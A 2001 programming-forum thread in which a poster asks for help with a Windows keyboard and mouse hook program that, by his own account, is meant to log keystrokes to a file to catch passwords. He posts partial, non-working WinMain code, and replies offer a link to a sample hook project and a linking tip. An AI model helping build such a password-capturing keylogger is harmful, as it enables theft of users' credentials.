Win32: Windows Hooks

Coconut · 2001-04-29T23:04:55

I am currently writting a virus for my Computer Ethics Class(Extra Credit), and I have code that should work according to the Platform SDK. What the program should do is monitor all textual input by way of a windows hook, and through cues such as mouse clicks it should record input and save it to file on the presumption that it will eventually catch a password being entered. Here is the WinMain code: int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrecINstance, LPSTR lpCmdLine, int nShowCmd) { HHOOK hkHook; HHOOK hmHook; hkHook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, GetModuleHandle("PassLib"), NULL); hmHook = SetWindowsHookEx(WH_MOUSE, MouseProc, GetModuleHandle("PassLib"), NULL); for(; { if(KEY_DOWN(VK_ESCAPE)) break; } UnhookWindowsHookEx(hkHook); UnhookWindowsHookEx(hmHook); return NULL; } The functions MouseProc and KeyboardProc are located in a seperate DLL which is inplicitly linked. Should I try explicit linking? The reason I know this isn''t working is because I have a call to write "DEBUG" to a file at the beginning of each DLL function, as well as calls to open and close the file. I have also tried Setting the Windows Hooks from a function within the DLL. Nothing seems to work. -Brent Robinson

ahhh man your kb and mouse hook won''t work properly

listen what, i uploaded my kb hook to my site
so fetch it and take a look at the source, this way you will learn it quickly

hooks are BITCHs

it''s very hard to start with but when you understand it, it''s easy like everything

ok the file is on:

http://ragestorm.com/hook.zip

you''ll find two projects, one is the .dll itself and the other one is just a dummy windows which calls the .dll

good luck

if you followed Arkon''s advice, you should be good except for one thing - when you use declspec(dllexport), you dont need a .def file
